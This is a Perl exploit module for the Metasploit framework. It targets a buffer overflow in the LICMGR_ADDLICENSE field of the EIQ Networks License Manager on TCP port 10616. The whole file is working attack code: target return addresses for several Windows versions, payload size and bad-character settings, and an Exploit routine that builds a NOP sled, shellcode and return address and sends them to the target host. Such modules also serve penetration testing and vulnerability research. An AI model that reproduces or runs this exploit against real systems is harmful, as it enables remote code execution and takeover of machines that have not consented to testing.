#!/usr/bin/perl -w

#metasploit module for EIQ Licence manager overflow Provided by ri0t of Bastard Labs

package Msf::Exploit::EiQ_License_494; 
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
  {
    'Name'     => 'EIQ License Manager Overflow',
    'Authors'  => [ 'ri0t  , KF  ' ],

    'Arch'  => [ 'x86' ],
    'OS'    => [ 'win32', 'win2000', 'winxp' ],
    'Priv'  => 0,
    
    'AutoOpts'  => { 'EXITFUNC' => 'seh' },
    
    'UserOpts'  =>
      {
        'RHOST' => [1, 'ADDR', 'The target address'],
        'RPORT' => [1, 'PORT', 'The target port', 10616],
     },
        'Payload'  =>
      {
        'Space' => 494,
        'BadChars'  => "x00x0ax0dx40x26",
            },
          'Description'  =>  Pex::Text::Freeform(qq{
    This module exploits the buffer overflow found in the LICMGR_ADDLICENSE
        Field of EIQ networks network analyser this module exploits buffers of 494 bytes
    in size. This module should work on all EIQ branded analysers.  Exploitation
    assistance from KF.
        }),
          
          
        'DefaultTarget' => 1,
    'Targets' =>
      [
        ['Windows 2000 SP0-SP4 English', 0x750316e2],   # call ebx
        ['Windows XP SP1/SP2 English', 0x77db64dc ],    # jmp ebx
            ['Windows Server 2003 SP0/SP1 English', 0x77d16764 ],   # jmp ebx 
      ],
          
  };
  
  sub new {
    my $class = shift;
    my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
    return($self);
}
  
  sub Exploit {
    my $self = shift;
    my $target_host = $self->GetVar('RHOST');
    my $target_port = $self->GetVar('RPORT');
    my $target_idx  = $self->GetVar('TARGET');
    my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
    my $target      = $self->Targets->[$target_idx];
        my $nops     = $self->MakeNops(494 - length($shellcode));
        my $ret         =  pack("V", $target->[1]);
        my $evil        = "LICMGR_ADDLICENSE&" . $nops . $shellcode . $ret . "&";
    
            
        my $s = Msf::Socket::Tcp->new
      (
        'PeerAddr'  => $target_host,
        'PeerPort'  => $target_port,
        'LocalPort' => $self->GetVar('CPORT'),
          );
          
          if ($s->IsError) {
        $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
        return;
    }
          $self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using return address 0x%.8x....", $target->[1]));
          
          $s->Send("$evil");
          return;
  }